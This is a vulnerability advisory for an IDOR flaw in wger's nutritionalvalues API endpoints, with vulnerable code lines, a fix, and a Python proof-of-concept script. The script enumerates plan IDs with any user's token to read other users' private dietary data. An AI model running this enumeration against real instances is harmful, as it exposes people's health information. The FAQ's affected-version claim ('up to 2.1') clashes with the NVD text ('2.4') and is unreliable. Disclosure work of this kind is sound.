CVE-2026-27839: wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritionalvalues action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.getobject() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
python line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE
line 403 — MealItemViewSet mealitem = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
python LogItem.objects.get(pk=pk, planuser=self.request.user) # CORRECT
Affected endpoints: GET /api/v2/nutritionplan/{pk}/nutritionalvalues/ GET /api/v2/meal/{pk}/nutritionalvalues/ GET /api/v2/mealitem/{pk}/nutritionalvalues/
PoC
python import requests
BASE = "http://localhost" Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKERTOKEN"}
Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritionalvalues/", headers=headers ) if r.statuscode == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydratessugar, # fat, fatsaturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.getobject(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
Other sources
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritionalvalues action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
— NVD
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27839?
CVE-2026-27839 is considered a high severity vulnerability due to its potential for exposing sensitive user data.
How do I fix CVE-2026-27839?
To fix CVE-2026-27839, ensure that your application utilizes user-scoped querysets instead of raw ORM calls for fetching `nutritional_values`.
What type of data is affected by CVE-2026-27839?
CVE-2026-27839 affects private dietary data accessible through the `nutritional_values` endpoints.
Who is impacted by CVE-2026-27839?
Any authenticated user of the wger application can potentially access another user's private dietary data due to CVE-2026-27839.
When was CVE-2026-27839 disclosed?
CVE-2026-27839 was disclosed in 2026 and affects versions of the wger software up to 2.1.